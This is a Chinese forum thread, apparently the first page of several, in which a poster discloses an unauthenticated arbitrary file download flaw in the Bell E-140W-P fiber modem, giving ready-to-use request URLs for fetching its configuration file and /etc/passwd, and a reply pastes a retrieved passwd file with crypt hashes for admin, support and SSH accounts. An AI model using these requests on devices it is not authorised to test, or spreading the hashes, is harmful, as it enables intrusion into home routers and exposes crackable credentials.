路飞 发表于 2016-8-31 22:39:43

贝尔 E-140W-P 免登录任意文件下载 可下载配置文件

本帖最后由 路飞 于 2016-9-7 12:25 编辑



配置文件下载
http://192.168.1.1/downloadFile?file=/var/config/psi
系统帐号文件
http://192.168.1.1/downloadFile?file=/etc/passwd


PS：悦me光猫系统应该通用，手上没有其它光猫没办法测试，有条件的同学可以试试



山里娃子 发表于 2016-9-2 14:23:24

第一个用什么解密呀。都是乱码。

butterfly_6 发表于 2016-9-1 08:05:31

这个要支持一下，也算是一个漏洞吧！

cjt200685 发表于 2016-9-1 09:01:30

楼主能做个详细点的说明吗
第二个链接好像不能下载啊

songyi 发表于 2016-9-1 09:13:58

这个可以看看

songyi 发表于 2016-9-1 09:16:24

cjt200685 发表于 2016-9-1 09:01
楼主能做个详细点的说明吗
第二个链接好像不能下载啊

第二个可以下的 全复制下载 lz的链接部分不全

lance65 发表于 2016-9-1 17:00:26

收费的，莪是穷人

smartzzh 发表于 2016-9-1 20:08:31

我有超级密码，就不需要了吧

findwm11 发表于 2016-9-2 18:00:45

恩，我自己买的这个光猫，按你方法下载了配置文件，但是不知道怎么解密。

yxwyzh520 发表于 2016-9-4 12:30:59

下载了文件一堆看不懂的数据！
passwd
com.chinatelecom.tongwei.smartgateway.thunder:rOVcJgFX997OI:701:0:com.chinatelecom.tongwei.smartgateway.thunder:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.thunder:/bin/sh
com.chinatelecom.tongwei.smartgateway.b01:bdfN2CU7LYsLk:1002:0:com.chinatelecom.tongwei.smartgateway.b01:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.b01:/bin/sh
osgid:LdpyC9j4xRx6M:102:0:osgid:/usr/plugin/cpk/osgid:/bin/sh
admin:Izy.z7nZNlDfg:0:0:Administrator:/:/bin/sh
support:EXEETbhgbwb/U:0:0:Technical Support:/:/bin/sh
user:x5Vkhi7UdT7uM:0:0:Normal User:/:/bin/sh
useradmin:dfKFvCUXGs81w:0:0:ftp account:/mnt:/bin/sh
sshdadmin:aEqI1ZqvXeWfA:0:8:ssh account:/mnt:/bin/sh
nobody:LOesJdOXNA4sQ:0:0:nobody for ftp:/:/bin/sh
useradmin:sOGdhPr.iOH/g:0:0:Normal User:/mnt:/bin/sh







PSI 文件直接全部乱码！
页: [1] 2 3
查看完整版本: 贝尔 E-140W-P 免登录任意文件下载 可下载配置文件